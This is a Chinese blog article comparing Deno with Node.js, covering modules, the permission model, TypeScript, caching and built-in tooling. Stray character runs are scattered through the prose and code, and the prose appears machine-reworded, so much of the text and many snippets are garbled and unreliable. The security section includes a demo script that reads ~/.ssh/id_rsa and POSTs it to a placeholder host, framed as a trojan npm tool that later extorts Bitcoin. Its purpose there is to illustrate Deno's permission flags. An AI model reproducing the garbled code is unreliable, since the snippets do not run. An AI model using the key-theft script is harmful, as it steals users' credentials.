前语
Deno 现已正式发布了!
我说这句话时分,是不是许多前端 和 NodeJS 工(码)程(农)师现已按不住自己的40米大刀了。心中的不只感慨前端是真的会造轮子,有了 node 还不够吗,还没学会 node 又搞了个 deno,node 和 deno 啥差异?!
的确,deno 和 nodeC S ; t 2 形态很相似,要解决的问题好像也相同,那他们到底有啥差异6 ` = } t c _,这一切终究是品德的沦丧还是 ry (作者)人性的扭曲,让咱们走进本篇文! D ;章,一探终究。
Denod 7 B x V5 _ o o K b #S Node
Node | Deno | |
---|---|---|
API 引证办法 | 模块导入t V 3 K I h | 大局目标 |
模块体系 | CommonJS & 新版 node 实验性 ES Module | ES Module 浏览器完成 |
安全 | 无安全约束 | 默认安全 |
Typescript | 第三方,如经过 ts-nok 5 X cde 支撑 | 原r f l生支撑 |
包办理 | npm + node_module1 $ S s u r Z H ts | 原生支撑 |
异步操作 | 回调 | Promise |
包分发 | 中心化 npmjs.com | 去中心化 impM ; 9 y % j 2ort url |
入口 | package.jsoo S & F ; l T y }n 装备 | import url 直接引进 |
打包、测试、格局化 | 第三方如 eslintR D t 0 d _、gulp、webpack、babel 等 | 原生支撑 |
1.内置 API 引证办法不同
node 模块导入
node 内置 API 经过N n ^ R n g模块导入的办法引证,例如:
const fs = reqR k g d P O `uire("fs");
fs.readF; q D 0 j ) m V WileSync/ 5 3 I E F("./data.txt");
deno 大局目标
而 deno 则是一个大局目标 Deno
的特点和办法:M ^ O q J W $ ) $
Deno.readFileSy* 2 - Lnc("./data.txt");
具体 deno 有哪些办法,咱们能够经过 repl
看一下:
deno # 或 de; K . W l R ; i sno repl
进入, L [ 5 repl
后,输入 Deno
回车,咱们能够看到:
{
Buffer: [Function: Buffer],K j X
readAll: [AsyncFunV C 0 6 Z : W ? }ction: readAll],
readAllSync: [Function: readAllSync],
writeAll: [AsyncFunction: writeAll],
writeO + f - Y ( f i aAllSync: [Function: writeAllSync],
# .....
}
这种处理的办法优点是简略、方便,} 5 7 a f V u坏处是没有分类,想查找忘记的 API 比较困难。总体来说见仁见智。
2.模块! ` b ~ k体系
咱们再Q 8 0 6来看一下模块体h { u c 9 2 , 3 F系,这也是 deno 和 node 不同最大的当地,同样也是 deno 和 node 不兼容的当地: A q b M。
node CommonJS 规范
咱们都知道 node 采用的是 CommonJS 规范,而 deno 则是采用的 ES Module 的浏览器完成,那么咱们首先来认识一下:
ES Module 的浏览器完成
具体关O Y s E S b @于 ES Module 想必咱们都早已熟知,但其浏览器完成或许咱们还不是很熟悉,所以咱们先看一下其浏览器完成:
<body>
<!-- 注意这里一定要加上 type="module" -->
<script type="module">
// 从 URL 导入
import VueC M z V & 1 h c from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browsY o M O d I D aer.js";
// 从相对路径导入
import * as utils from "./utils.js";
// 从绝对路径导入
import "/index.js";
// 不支撑
import foo fromI Z G k w n = } "foo.js";
impY 3 S R U 8 # i 5ort bar from "bar/ j f , y 2 d Lindex.js";
import zoo from "./index";F + V K { // 没有 .jso | Z m T E 后缀
</script^ T ]>
</body>
deno 的模块规范
deno 彻底遵从 es module 浏览器完成,所以 deno 也是如此:
// 支撑
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepC@ o & c 1 | x x copy.js";
imy - x m c Q Mport fool p 0 D i ~ _ 5 from "/foo.ts";
// 不支撑
i9 S mport foo from "foo.ts";
import bar from "./bar"; // 有必要指定扩展名
咱们发现其和咱们5 Z r s H U平常在 wL Z : `ebpack 或许 ts 运用 es module 最大的不同:
-
能够经过 import url 直接引证线上资源;
-
资源不行省掉扩展名和文件名。
关于第 1 点,争议非常大,有人很看好,觉得极~ Q n大的扩展了 deno 库的规模;有人则不太看好,觉得国内网速的原因,并不有用。咱们的看法怎样,欢迎在谈论区宣布
3.安全
假如模块规范是 node 和 deno 最大的不y = x同,那么对安全的处理,则是另外一个让人摸不着头脑的当地。
模拟盗号
在介绍之前咱们先思考一下这个场景会不会出现:
我做了一个根据指令行的一键上网东西 breakwall
,每月 1 个 G 免费流量,然后将紧缩后的 JS 代A 2 3 p +码发布到 npm 上,然后后在各种渠道宣扬一波。
羊毛党兴高彩烈的 cnpm install -g breakwall
,然后每次运用的时分,我偷偷a b * ) V t * B X的将诸位的 ssh 密钥和各种能偷的文档及图片偷偷上传到我的服务器,在. x c J . $ i K U设定期Y n { N 限到期后,删除电脑上材料,留下一句拿钱换材料,仅支撑比特币。
默认安全的 deno
假如你觉得以上v @ f情况有或许出现,则会觉得下面的功用很有E } _ Q Z l ~用。咱们先用 deno 履行以下代码:
// index.js
let rsa = Deno.readFileSync(Den_ V { | R e ]o.dir("home") + "/.ssh/id_rsa");
rsa = new TextDecoder().decode(rsa);
fetch("http://jsonplaceholder.typicode.com/posts/1", {
method: "POSTb W j N , 2",
body: JSON.s/ c 4tringin K . = g ,fy(rsa)
})
.S r [then((resK f L e % 0) =>K V 5 B - g 2 res.json())
.! V Zthen((res) => console.log("密钥发送成功,嘿嘿嘿"))k q z b w;
console.log("start brel : E ) Y , [ a Hakwall...");
PS: –unstable 是因为 Deno.dir API 不稳定
> deno run --unstable index.js
咱们将会得到如下报错信息:
> deno run --: x a ? 0 d h 8 (unstable index.js[ 5 g 9
error: Uncaught PermiF 6 c N pssi# U B - $ + ~ ) UonDenied: access to environment variabn 4 z 5 9 f .les, run again with the --allow-env flag
...
意7 F f 2 F思便是权限异常,需求拜访环境变量,需求加上 --allow-env
,咱们加上这个参数再试一下。
> deno run --unstag [ A G R .ble --allow-ens C B N y Y Gv index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.sshG z 8 } k M/id_rsa", run agj [ A 3ain with the --allow-read flag
...
如此重复,还需加上 --allow-read
、--allow-net
,终究的结果是:
> deno run --unstable --allow-env --allow-read --allow-net index.js
start breakwall...
密钥发送成功,嘿嘿嘿
经过一番折腾,总算是发送成功了,要想盗取密钥实属不易。
白名单
那有人就说了,假如我的运用的确需求拜访网络和文件,可是有不想让它拜访 .ssh 文件g H l 9有没有办法?
当然有了,咱们能s W M e够给 --allow-read
和 --allow-net
指定白名单,名单之外都不行拜访,例如:
&gk `t; deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com i| ( & sndex.js
start breakwa1 f R 7 X ell...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow f } Y X ! Y Lw-net flag
at unwrapResponse ($den_ } e _o$/L R e / [ k Eops/din W 5 D V 0 Dspatch_json.ts:43:11)
at Object.sendAsync ($deno$/ops/dispf T 9 e ;az _ o .tch_json.ts:98:1{ T f0)U a $ F / 1 J 0
at async fetch ($deno$/web/fetch.ts:591:27q K 3 Y H L I t)
简化参数
假如确认是没] L | =问题,或许是自己开发软件时,图个方便,能够直接运用 -A
或 --allow-all
参数答应一x 2 { m ]切权限:
> deno -A --unstable index.js
start breakwall...
密钥发送成功,嘿嘿嘿
安全这方面见仁见智A 5 e & s e,有人觉得是剩余,v $ 6有& : = C c * {人觉得很好用,极大的增强了安全性。假如你属于觉得这个功用剩余的,能够 deT ; J ; ] q !no ruj M | *n -A xxx
即可。
4.兼容浏览器 API
许多人不理解,为什么你i u i一个服务端言语要兼容浏览器 API,以及怎样兼容。
为什么要兼容浏览器 API
关于为P 4 i w 0 I什么,我举个栗子咱们就理解了:在设计 node 之处,关于输! F q e 4 – : – c出函Q v k L _ ) P w 数原本叫 print
之类的,后来有人提议为什么不叫 console.log
,ry 觉得挺不错,于是就接收了定见。
可是,这个设计并不是刻意为之,而 deno 的设计则能够为之,经过与浏览器? % U Z I t API 保持一致,来削减咱们的认知。
怎样兼容浏览器 API
概念上兼) u C容
-
模块体系,从上面介绍看出 deno 是彻底遵从浏览器完成的;
-
默认安全,当然也不是自己发明的概念,w3c 早已做出浏览器权限的规则,m c a M g ;咱们在做小程序的时分尤为显着,需求获取各种权限;
-
关于异步操作回来 Promise;
-
运用 ArrayBuffer 处理二进制;
-
等等…
存在 window 大局变量
console.log(window === this, window === seD F M [ Clf, window ===r 8 3 9 globalThis);
完成了 Wind% ( 3 6 jowOrWorkerGlobalSL j T H f Nco~ 5 F u [ P ) fpe 的全部0 6 7 % , . ( ?办法
具体办法列表,咱们能够参考:lib.deno.shared_globals.d.ts 和 lib.deno.window.d.ts
// 请求办法
fetch("https://baidu.com"5 U e 8 9);
// base64 转化
let encodedData = btoa("Hello, world"); // 编码O ) O T c 8 w 6 5
let decodedData = atob(e: ] q $ G v }ncodedData); // 解码
// 微使命
queueMT z B :icrotK p | b = ~ @ask(() => {
console.log(123);
});
// 等等...
大趋势
总体而言,假如服务端和浏览器端存在相同概念,deno 就不会发明新的概念。这一点其实 node 也在做,新的 node 14.0 C$ / b J YHANGELOG 就a G @ c 2也提及要完成 Universal JavaScript
和 Spec compli ( 4 Q ~ b k Gance and Web CompatiB ? - / G q Ibility
的思维,所以这点咱们应该都会承受吧,毕竟大势所趋趋势。
5.支撑 Typescript
不管你喜爱与否,2020 年了,有必要学习 TS 了/ ! s c T J O(最少在面试的时分是亮点)。学完之后你才会理解王境泽规律真的无处不在。
/Y ] g _ V / V/ index.t` / 1 S L X 8 js
let str: string = "王境泽规律";
str = 132;
> deno run index.ts
error TS2322: Type '123' is not assignable to type A o z'string'.
► file:///Users/T / ` a ) 7 7 4 mzhangcR R + i { &haojie/Deskta : . * 3 ^op/index.ts:2:1
2 str = 123
~~~
6.去 node_modules
deno 没有 node_modules,那么它是怎样进F & O = G N {行包办理的呢?咱们先看下面的例子
// index.jsg y = M
import { white, bgRed } from "https://denop L R.land/st ^ ( Z H A rd/fmt/colors.ts";
console.log(bgRed(whiJ M v = G % } = wte("hello world!")));
> deno run index.js
Download k Y [ E & Z Y i hti [ 6 H % | # `tps://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.G y : Fts
hello world!
咱们看到其有 Do7 . Q 7 s 2 Xwnload
和 Compile
两个^ 6 X E过程,咱们会产生几个疑问:
1、每次履行都要下载吗?
解:咱们只需求再履行一次就能理解,不需求每次下载。
> deno run index.js
hello wor{ @ l ; b Y H Dld!
2、Download 和 Compile 的文件在哪里呢?
解:咱们会发现,当时履行的目录,并没有 Download 和 Compile 文件,那文件放在哪里呢,咱们首先来看一下 deno --help
指令:
> deno --help
SUBCOMMANDS:
# ...
info Show info about cache or info related to source file
# ...
ENVIRONMENT VARIABLES:
DENO_DIR Set deno's base directory (defaults to $HOME/.deno)
deno info
指令展现了依靠联系,相似 package.json
。
> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
└── https://deno.land/std/fmt/colors.ts
DENO_DIR
则为实际的装置和编译目录,相当于 node_modulesW 9 s { - R V ) 3
,默以为 $HOME/.deno
(指令提示是这样的,但实际需求指定一下环境变量 export- n o N F l z P DENO_DIR=$HOME/.deno
),咱们看一下:
> tree $HOME/.deno
/Users/zhangchao3 ; f W ? 7 c 4jie/.deno
├── deps
│ └── https
│ └── deno.land
│ ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc779H ( 1 H | 7 w4be25208c60cfc935
│ └── 357J P ` 4 4883d8acbaf00el S ] X Y c C Q 328990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadat( T za.json
└── gen
└── https
└── deno.land
└── std
└── fmt
├── colors.ts.js
├── colors.ts.js.map
└── colors.ts.meta
8 directories, 5 files
3、x 0 U K . b没网络了怎样办?
咱们有些场景是将本地写好的代码布置到没有网络的服务器,那么当履行 deno run xxxA ? S C z
时,便是提示 error sendiI A L p $ x M Hng request。
解:将上面的缓存目录内容,T d 9 o t r R ~直接拷贝到服务器并指定环境变量! % X 4 T T X 到其目录即可。
4、依靠代码更新了怎样办?
解:当依靠^ + j ,模块更新时,咱们能够经过 --reload
进行更新缓存,例如:
> deno run --reload index.js
咱们还能够经过白名单的办法,只更新部分依靠。例如:
> deno run --reload=https://deno.land index.js
5、仅缓存依靠,不履行! I V 8 d 5 % s代码有办法吗?
解:有的,咱们能够经过 deno cache index.js
进行依靠缓存。
6、. M h ~多版别怎样处理?
解:暂时没有好的解决方案,只能经过 git tag 的办法区别版别。
7.x : h | b , ~规范模块 与 node API 兼容
咱们经过第 1 点能够看到,其实 deno 的 API 相关于 node 其实是少一些的,经过其文件巨细也能看出来:
> ll /usr/local/bin/node /Users/zhangchy I g 2 4 o H N `aojie/.local/bin@ e ! b J g K O/deno
-rwxr-xr-x 1 42M /Users/zhangch] , . : S i Baojie/.local/bin/deno
-rwxf 5 X % &r-xrp g + G *-x 1 70M /usr/local/bin/node
那这些少的 API 只能自己写或许求助于社区吗?
deno 关于自身相关于 node 少的和社区中常用的功用,供给了规范模块,其特点是不依靠非规范模块的内容,到达社区内的模块引证最后都收敛于规范模块的效果。例如:
// 相似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";
// 相似 node 中的 uuid 包
import { v v ~4 } fr/ d E n com "https://deno.land/std/uuid/mod.ts";
同时为了对 node 用户友c F s # H P r好,供给了 node API 的兼容
import * as path from "https://deno.land/std/node/path.ts";
importH I z * as fs from "https://deno.land/std/node/fs.ts";
console.log(path.resolve('./', './test'))
所以,咱们在为 deno 社区做贡献^ 1 0 Y G C ( E的时分,首先要看一下规范模块有没有供给相似的功用,假* 1 k – N如现已供给了能够进行引证。
8.异步操作
根据 ry 自己是说法,在设计 node 是有人提议 Promise 处理回调,可是他没听,用他自己的话说便是愚蠢` Y T t W L的拒绝了。
node 用回调的办法处理异步操作、da T _ ` O | J Ken & w 5 1o 则挑选用 Promise
// node 办法
const fs = require("fs");
fs.T c 5 U S dreadFile("./data.txt", (ert S Z e ] : Yr, data) => {
if (err) throw err;] ! 5
console.log(data);
});
另l _ H * O % f外 deno 支撑 top-level-await
,所以以上读取文件的代码能够为:
// deno 办法
const data = await Deno.readFile("./data.txt");
console.log(data);
node 关于这方面也在一向改进,例如社区上许多 prW x O l Comisify
解决方案,经过包裹一层函数,完成目的。例如:
// node API promisify
c[ R ? g Xonst { promisify } = require("es6-promisify")2 ^ A;
const fs( F ) t I = require("fs");
// 没有 top-level-await,只能包一层
async function main() {
cE P ]onst rea} - N u zdFile = promisify(fs.readFile);
co* ( ` a 7 T wnst data = await reaR ] N * . e b = ?dFile("./data.txt");
console.log(data);
}
main();
9.单文件分发
咱们知道 npm 包有] l m必要有 package.json
文件,里面不只需求b e ? . ~ ` Y指明 main
或 module
或 browser
等字段来! r i X ^标明入口文件,还需求指明 name
、license
、description
等字段来说明这个包。
ry 觉得这些字段打e n N c Q G乱了开发者的视听,所以在 deno 中,其模块不需求任何装备文件,直接是 import url 的方法。
10.去中心化库房
关于 www.npq # t Z 0 P W Fmjs.com 咱们肯定都不陌生,它是推进 node 蓬勃发展的重要支点。但作者以为h w ) b I 3它是中心化库房,违背了互联网去中心化准则。
所以 deno 并没有一个像 npmjs.com 的库房,经过 import url 的办法将互联网任何一处的代码都能够引证。
PS:deno 其实是有个根据 GitHub 的第三方模块调集。
11.去开发依靠
咱们在写一个 node 库或许Z h u T X ~ : i东西时,开发依靠是少不了的,例如 babel 做转化和打包、jest 做测试、preth } ? 8 P p ptier7 # & X + Z o 做代码格局化、e^ ~ y H R A O uslint 做; d 6 | P 6代码格局校检、gulp 或许 webpack 做构建等等,让咱们在开发前就搞得筋疲力尽。
deno 经过内置了一些东西,解决上述问题。
- deno bundle:打包指令Y B o I %,用来替换
babel
、gulp
一类东西: 例如:deno bundle ./mod.ts
; - deno fmt:格局化指令,用来替换
prettier
一类东西,例如:deno fmt ./mod.r k 0 k 8 R g |ty g o ps
; - deno test:运转测试代码,用来替换
jest
一类东西,例如deno test ./test.ts
; - deno lint:代码校检(暂未完成),用来替换
eslint
一类东西,例如:deno lint ./mod.ts
。
跋文
就像小时分一向幻想的炸弹始终没能炸了( d / h 8 U校园,技(轮)术(子)的进(制)步(造)一向也未中止过。不论咱们学的动或许学不动,技术就在那里,不以人的意志为搬运。
至于 deno 能不能火,我个人觉得最少一两年内不会有太大反响,之后和 node 的联系有或许像w $ X w ? S | Vue 和 react,有人喜爱用l F 4 [ i deno,觉得比 node 好一万倍,有人则喜爱 node ,觉得 node 还能再战 500 年。至于终! 0 6 & / M | 3 *究学不学还看自己。
假如觉得文章不错,记得点赞、收藏啦~~~~
- 20 分钟入门 deno